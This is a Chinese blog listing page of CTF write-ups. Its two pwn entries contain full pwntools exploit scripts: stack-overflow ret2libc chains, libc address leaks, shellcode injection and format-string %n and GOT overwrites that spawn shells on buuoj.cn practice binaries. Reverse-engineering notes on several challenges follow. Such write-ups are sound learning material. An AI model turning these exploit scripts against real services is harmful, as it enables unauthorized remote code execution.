首页
Search
1
[CTF/Reverse] 2022DASCTF X SU 三月 逆向部分
135 阅读
2
[CTF/Reverse] [HWS2022硬件安全 x DAS Jan] EasyVM + BabyVM
125 阅读
3
[CTF/Reverse] [XMAN2018排位赛]easyvm
92 阅读
4
[CTF/Reverse] [GWCTF 2019]babyvm
88 阅读
5
[应用/笔记]Typecho博客搭建
76 阅读
原创
笔记
程序员的自我修养
CTF
Reverse
Pwn
登录
Search
Yirannn
累计撰写
65
篇文章
累计收到
3
条评论
首页
栏目
原创
笔记
程序员的自我修养
CTF
Reverse
Pwn
页面
搜索到
50
篇与
的结果
2022-04-13
[CTF/Pwn] BUU入门Pwn合集2
ciscn_2019_n_5bss可控制, 栈溢出明显, ret2libc这可真是..啥也没有啊, 直接写shellcode都能跑吧, 练习一下布置shellcodefrom pwn import * # from LibcSearcher import * # context.terminal = '/bin/bash' context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() # context.log_level = "debug" # elf = ELF('') r = remote('node4.buuoj.cn', 27600) # r = process("./elf1") name_addr = 0x601080 r.recvuntil('name\n') r.sendline(asm(shellcraft.sh())) r.recvuntil('me?\n') payload = b'A' * 0x28 + p64(name_addr) r.sendline(payload) r.interactive()others_shellcode?什么玩意, nc获得shell...ciscn_2019_ne_5菜单题, 两个scanf都做了限定, 这里, src最长128, 但是dst只有64, 足够长了, 泄露libc回main, 再ret2libc泄露puts地址的时候发现恰好payload里有0x20, 但是scanf读不进来, 换函数试试, 发现有system, 我们尝试直接找个data段写救命...scanf里也有\x00..最后被指点:这里面有个"sh"字符串, 和binsh一样用.. 但是strings和IDA都不识别这么短的字符串..from pwn import * from LibcSearcher import * context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() elf = ELF('./elf3') sys_addr = elf.sym['system'] r = remote('node4.buuoj.cn', 29750) # r = process("./elf3") sh_addr = 0x080482ea def sendLog(payload) : r.recvuntil('password:') r.sendline("administrator") r.recvuntil("0.Exit\n:") r.sendline('1') r.sendlineafter('info:', payload) def transLog() : r.recvuntil("0.Exit\n:") r.sendline('4') sendLog(b'A' * 0x4C + p32(sys_addr) + p32(0) + p32(sh_addr)) transLog() r.interactive()铁人三项(第五赛区)_2018_ropNo Canary, 栈溢出, ret2libc, 32位from pwn import * from LibcSearcher import * context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() elf = ELF('./elf5') main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] r = remote('node4.buuoj.cn',25135) # r = process("./elf5") payload = b'A' * 0x8C + p32(write_plt) + p32(main_addr) + \ p32(1) + p32(write_got) + p32(8) r.sendline(payload) write_addr = u32(r.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') sys_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload = b'A' * 0x8C + p32(sys_addr) + p32(0) + p32(binsh_addr) r.sendline(payload) r.interactive()bjdctf_2020_babyrop64位rop这..实在是没啥可说的from pwn import * from LibcSearcher import * context.log_level = "debug" # r = process("./elf6") r = remote('node4.buuoj.cn', 29721) elf = ELF("./elf6") puts_plt = elf.plt['puts'] main_addr = elf.symbols['vuln'] puts_got = elf.got['puts'] pop_rdi = 0x400733 ret = 0x4004c9 r.recvuntil('story!\n') payload = b'A' * 0x28 + \ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendline(payload) puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0')) log.info("puts_addr : " + hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') payload = b'A' * 0x28 + \ p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) r.sendline(payload) r.interactive()这过于明显, 我们直接传进去一个负数就行了有现成的后门, 直接ROPfrom pwn import * # from LibcSearcher import * context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() # elf = ELF('') r = remote('node4.buuoj.cn', 29042) sys_addr = 0x400726 # r = process("./elf7") r.recvuntil('name:\n') r.sendline('-1') r.recvline() payload = b'A' * 0x18 + p64(sys_addr) r.sendline(payload) r.interactive()jarvisoj_fm有Canary, 需要把一个bss段的值从3改成4, 格式串漏洞. 两步, 一步获取输入字符串在栈上位置, 一步%n改数第11个参数, x=4的话正好前面写地址后面写%11$nfrom pwn import * # from LibcSearcher import * context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() # elf = ELF('') r = remote('node4.buuoj.cn', 28983) # r = process("./elf8") x_addr = 0x804A02C payload = p32(x_addr) + b'%11$n' r.sendline(payload) r.interactive()pwn2_sctf_2016老样子, 自己写的这个get第二个参数是unsigned的, 我们直接扔个负数进去就可以了给了一个int 0x80, 但是不如直接ret2libc一把梭, 只能利用printffrom pwn import * from LibcSearcher import * context(arch = 'i386', os = 'linux', terminal = '/bin/bash', log_level = 'debug') def debug(p): gdb.attach(p) pause() elf = ELF('./elf9') r = remote('node4.buuoj.cn', 27333) main_addr = elf.sym['vuln'] printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] fmt_addr = 0x80486F8 # r = process("./elf9") r.recvuntil('read? ') r.sendline('-1') payload = b'A' * 0x30 + \ p32(printf_plt) + p32(main_addr) + p32(fmt_addr) + p32(printf_got) r.sendline(payload) # r.recvuntil('data!\n') r.recvuntil('You said: ') r.recvuntil('You said: ') printf_addr = u32(r.recv(4)) libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') sys_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') r.sendline('-1') # log.info(sys_addr) # log.info(binsh_addr) payload = b'A' * 0x30 + \ p32(sys_addr) + p32(main_addr) + p32(binsh_addr) r.sendline(payload) r.interactive()本地打通了, 注意最后不能异常退出(exit(-1)也是程序正常退出), 不然会在buf里打不出来远程不知道为什么就是打不通, 破案了, libcsercher找不到, 用buu给的libc就好了
2022年04月13日
11 阅读
1 评论
0 点赞
2022-04-13
[CTF/Pwn] BUU入门Pwn合集1
边学边做, 大部分参考了别人的WP, 不明白的地方会尽力弄明白写在这里[第五空间2019 决赛]PWN5passwd要和urandom里面一样, 读入有限制, 没有漏洞点, printf处有一个明显的格式化字符串漏洞, 尝试用该漏洞泄露目标内容没有PIE, 我们尝试用格式化字符串的%n来覆盖目标bss段printf("str%n", &addr); 会把str的长度写在addr上 , 这时候栈上第一个参数应该是addr, 第二个参数则是字符串str%n, 输入AAAA%x%x...\n后可以发现AAAA在main栈的第十个, 我们把AAAA变成要用的地址, printf拿进去的还是这个第十个, 那如果参数是%10$n的话就会自动调整到第十个参数, 然后把前面输入过的4个byte的len写进去. 之前看到这儿的时候疑惑了无数次并决定放弃pwn)))这是真的))).payload:p32(0x804c044)+b"%10$n">>> payload = p32(0x804c044)+b"%10$n" >>> p.sendline(payload) >>> p.sendline('4') >>> p.interactive()此外看wp还有一种写atoi的got进而控制流程的方法, 学习了, 过程比较清晰就不另做记录了atoi_got = elf.got['atoi'] system_plt = elf.plt['system'] payload=fmtstr_payload(10,{atoi_got:system_plt}) p.sendline(payload) p.sendline('/bin/sh\x00')ciscn_2019_n_8errr..这不比刚才的,简单多了? 第14个Qword是17即可.但是我信心满满的把payloadpoc = p64(17) * 20打进去之后??? 你要的难道不是17么?咱毕竟是个学逆向的啊, 敏锐的我意识到了这个QWORD有诈啊, 咋都是e打头的, 晕, 32位的是吧, 改一下就好了poc = b'A' * 4 * 13 + p32(17)jarvisoj_level2NX, 没有Canary, 直接栈溢出有system, 给它压个/bin/sh即可, 题里都给好了payload里分别是0x88的占位, 0x4的bp覆盖, 0x4的sys地址, 0x4的返回地址, 0x4的binsh参数[OGeek2019]babyrop看上去传进来的是char, 但是read实际上进去的应该是个size_t, 能把这个位置构造成255, 我们就有了20个字节左右的空间利用, 先看看这地方怎么构造成255必须和一个urandom相等, 不然直接exit(0)了, 需要注意的是这程序还有个60s的超时.这个strncmp本身可以用\x00绕, 因为前面v1会是0.bypass这里之后, 就可以构造payload了, 首先泄露libc基址, 这里选择泄露read的gotfrom pwn import * # r = process("./4") r = remote('node4.buuoj.cn', 28104) elf = ELF('./4') libc = ELF('./libc-2.23.so') write_plt = elf.plt['write'] read_got = elf.got['read'] read_plt = elf.plt['read'] main_addr = 0x8048825 bypass1 = b'\x00' * 7 + b'\xff' r.sendline(bypass1) r.recvuntil('Correct\n') payload = b'A' * 0xEB payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(8) r.sendline(payload) read_addr = u32(r.recv(4)) log.success('read_addr : ' + hex(read_addr)) base_addr = read_addr - libc.symbols['read'] sys_addr = libc.symbols['system'] + base_addr bin_sh_addr = next(libc.search(b'/bin/sh')) + base_addr r.sendline(bypass1) r.recvuntil('Correct\n') payload = payload = b'A' * 0xEB payload += p32(sys_addr) + p32(0) + p32(bin_sh_addr) r.sendline(payload) r.interactive()bjdctf_2020_babystack自定义长度, 直接溢出给了system直接payload = 0x18 * b'A' + p64(tar)get_started_3dsctf_2016打了一会死活打不通..payload = 0x3B * b'A' + p32(tar) + p32(0) + p32(814536271) + p32(425138641)直接翻题解这里有问题, 正常的程序都是先push ebp, 然后move ebp, esp, 不push的话我们就不用盖ebp了, 要少盖四个字节, 大意了, 动调一下也可以的.然后是第二个坑, 这题好多网上的wp都说要改mprotect...其实没看出来, 只不过没有设置缓冲区, 如果异常退出的话, 缓冲区的东西不会正常输出出来, 所以我们要让它正常退出直接把执行完getflag的返回地址扔到exit即可学长告诉我这题很多利用点, 让我研究一下, 在拿了flag之后还可以打一打ciscn_2019_en_2菜单题, 有encrypt和decrypt功能, 只有encrypt能进有gets, 无canary, 啥也没有, getshell题from pwn import * from LibcSearcher import * # context.log_level = "debug" # r = process("./7") r = remote('node4.buuoj.cn', 28140) elf = ELF("./7") puts_plt = elf.plt['puts'] main_addr = elf.symbols['main'] puts_got = elf.got['puts'] pop_rdi = 0x400c83 ret = 0x4006b9 r.recvuntil('ce!\n') r.sendline('1') r.recvuntil('ted\n') payload = b'\x00' * 0x58 + \ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendline(payload) r.recvline() r.recvline() puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0')) log.info("puts_addr : " + hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') r.recvuntil('ce!\n') r.sendline('1') r.recvuntil('ted\n') payload = b'\x00' * 0x58 + \ p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) r.sendline(payload) r.interactive()非常普通的64位ret2libc,先泄露libc基址再打到system, 唯一值得关注的是输入会被异或, 要么用\x00截断, 要么就要先把payload异或了[HarekazeCTF2019]baby_rop没有canary, 有system那就不动脑子了吧, 没设置缓冲区, 就不recv了from pwn import * # context.log_level = "debug" # r = process("./8") r = remote('node4.buuoj.cn', 28819) pop_rdi = 0x400683 bin_sh = 0x601048 sys_addr = 0x400490 # r.recvuntil("name? \"") payload = b'A' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) r.sendline(payload) r.interactive() jarvisoj_level2_x64有system有binshpayload = b'A' * 0x88 + \ p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)not_the_same_3dsctf_2016那就不getshell了, 让它读进来然后再把地址推给puts就好, 注意这题也没有动ebppayload = b'A' * 0x2D + \ p32(secret_addr) + p32(write_plt) + p32(exit_addr) + p32(1) + p32(f14g_addr) + p32(0x50)
2022年04月13日
10 阅读
0 评论
0 点赞
2022-04-13
[CTF/Reverse] Simplestuff
simplestuff最近抓到了一段简单恶意代码和其发出的流量,你能破解他吗?流量包全是TCP流量, 看不出来什么, 从二进制开始分析字符串里的crontab和flag引起了我的注意, 跟一跟在引用了flag的函数里发现了这个东西, 把TCP包有用的部分截下来XOR一下得到这个, 不过后半部分是乱码, 看看后半部分. 这个文件里有多处InterlockedCompareExchange, 让我怀疑是不是还有其他线程, 尝试动调一下吧惊讶的发现源文件没了, 只留下了一个0字节的文件, 但是crontab里没有新增项...疑惑啊..再来一次注意main要进到这个函数需要是五秒整倍左右, 可以动调改数, 直接进行一个0的改这一串函数会设定一些值, 先忽略sample是我自己写的, 这说明这一段确实是读的flag说明中间还是改动了, 但是我没跟到但是从PseudoCode上看异或结束直接去Label8了, 中间不应该有变动. 无妨, 我们再来一次我自己的sample正常异或结果应该是这个3e 06 16 11 0b 01 65 46 18 0e 47 1f 16 09 19 03 13 00 10 3a 0f 2c 16 41 19 1f 4c 01 3d 07 1c 11 2b 14我们看看哪里开始不一样了哦原来dbapp后面还应该有个\0.....
2022年04月13日
11 阅读
0 评论
0 点赞
2022-04-13
[CTF/Reverse] [FlareOn3]unknown
[FlareOn3]unknown32位WinPE一个参数, 要过401020的检测这里v20 Xor 定值需要是 v6, v6是过2760的参数感觉有点像37进制读入 改名atoi_b37, 注意到这个程序基本都是双字节char, 那些WORD来WORD去的都写成uint16就行 (后来脑瓜一闪反应过来这不是哈希么..)要求0x1B个v13里的内容等于v11, v11在这长104个Byte应该是注意cmptable经过了一个thiscall函数改过, 有个长256的表, 这个换表操作让我感觉是现成的加密算法, 是不是有点像..RC4?同时这个表也输入相关, 但是好像只和输入长度有关v16-v4大概就是一个输入长度相关量, 另外这里也和v20有点关系, 结合循环变量0x1B, 我觉得基本能推测输入长度是27, 每次取出1位放到v23[0], v23其他的值都是固定/可测的, 这个东西被atoi_b37之后要和cmptable相同. 我们试一下len=27的cmptableunsigned char cmptable[] = { 0xE9, 0x67, 0xFD, 0xB2, .... 0xF5, 0xEA, 0x6D, 0xE1 };而v23则是input[j], 0x60+j, 0x46, 0x4C, 0x41, 0x52, 0x45, 0x20, 0x4F, 0x6E, 0x21后面量是上面能找得到的, 就是FLARE On!这样四位一比长度应该是26的, 直接爆破一下unsigned char cmptable[] = { 0x1F, 0xD0, 0x24, 0x4C, 0xEA, 0x1D, 0xDA, 0xAE, 0x57, 0x05, 0x2B, 0x4E, 0xAE, 0x68, 0xC7, 0x4D, 0xF0, 0x6A, 0x42, 0x79, 0x2B, 0x80, 0xC4, 0x39, 0xD9, 0x8C, 0xE2, 0xCD, 0x32, 0x5E, 0x77, 0x23, 0x54, 0xC4, 0x31, 0x36, 0x2E, 0x8D, 0x50, 0xDA, 0x48, 0x79, 0x43, 0xE9, 0xA6, 0x11, 0xE2, 0x56, 0xB0, 0x6A, 0x05, 0xE6, 0xF4, 0x8F, 0x1C, 0xC2, 0x29, 0x8B, 0x95, 0x32, 0xF9, 0x88, 0x66, 0x80, 0x72, 0x2F, 0xF3, 0xCE, 0x56, 0x24, 0xBC, 0xE4, 0x72, 0x6B, 0xFB, 0x52, 0xBF, 0x20, 0x06, 0xCC, 0x8A, 0xEB, 0x00, 0xA9, 0xC6, 0x90, 0x39, 0xAC, 0x4D, 0x50, 0xAC, 0xD2, 0x8B, 0x5C, 0xF9, 0xFA, 0x66, 0x38, 0xAD, 0x12, 0x47, 0x6B, 0xA8, 0x31 }; #include <cstdio> #include <cstdint> int sum(char s[15]) { int res = 0; for(int i = 0; i < 11; i ++ ) { res = s[i] + 37*res; } return res; } int main() { int *p = (int *)cmptable; char s[15] = "a`FLARE On!"; // (0x60+i) * 37 ^ 9 + ch * 37 ^ 10; for(int i = 0; i < 26; i ++ ) { for(int j = 0; j < 0xFF; j ++ ) { s[0] = j; int tmp = sum(s); if(tmp == p[i]) { printf("0x%x, ", tmp); break; } } s[1] ++; } }爆破无果, 那只能是cmptable还有问题, 我们回头看发现这个table竟然和文件名本身有关?? 这个很不美啊.. 我们要尝试找到真正的文件名, 看起来unknown并不是MS编译器往往会有这么一个东西重新提重新爆
2022年04月13日
7 阅读
0 评论
0 点赞
2022-04-13
[CTF/Reverse] [HackIM2020]year3000
[HackIM2020]year3000一共3000个bin前43个都要是't', 后面4位和unk_2008相同这是bin1的bin2就变成了64位??离谱, 这个是前83位是'N', 后面8位和固定值相同3又回到了32位, 84位的'c', 和4位的固定值, 此外固定值不同.这样我觉得基本可以认为有两种文件, 32位的要比4位, 64位的要比8位, 前面的验证.import subprocess from pwn import * def parse32(elf) : cnt = elf[0x661] ch = elf[0x668] nonce = elf[0x1008:0x100C] # print(cnt, ch, nonce) return (chr(ch) * cnt).encode(encoding='utf-8') + nonce def parse64(elf) : cnt = elf[0x819] ch = elf[0x820] nonce = elf[0x1010:0x1018] # print(cnt, ch, nonce) return (chr(ch) * cnt).encode(encoding='utf-8') + nonce for i in range(1, 3001) : file_name = "./" + str(i) + ".bin" with open(file_name, "rb") as f: content = f.read() if content[4] == 1 : payload = parse32(content) elif content[4] == 2 : payload = parse64(content) p = process(file_name) p.sendline(payload) s = p.recvline() if s != b'Well done\n' : print('Error', i) p.close()脚本倒是写完了, 也全well done了..可是..Flag呢? 长度为3000的flag也不太现实, 难道是把这些二进制串加一起有个新的ELF?, 不妨试试显然, 这东西和ELF没什么关系, 换个思路, 我们把前面的可见字符加一起看看看着就像个Base64然而解了Base64也没什么用, 而且这Base64里竟然一个数字都没有..不是很靠谱啊就这么来到了谜语时间么...苦解谜语10分钟无果, 果断找wp尼玛, 靶机题, 本地打通, 此题做完
2022年04月13日
10 阅读
0 评论
0 点赞
1
2
...
10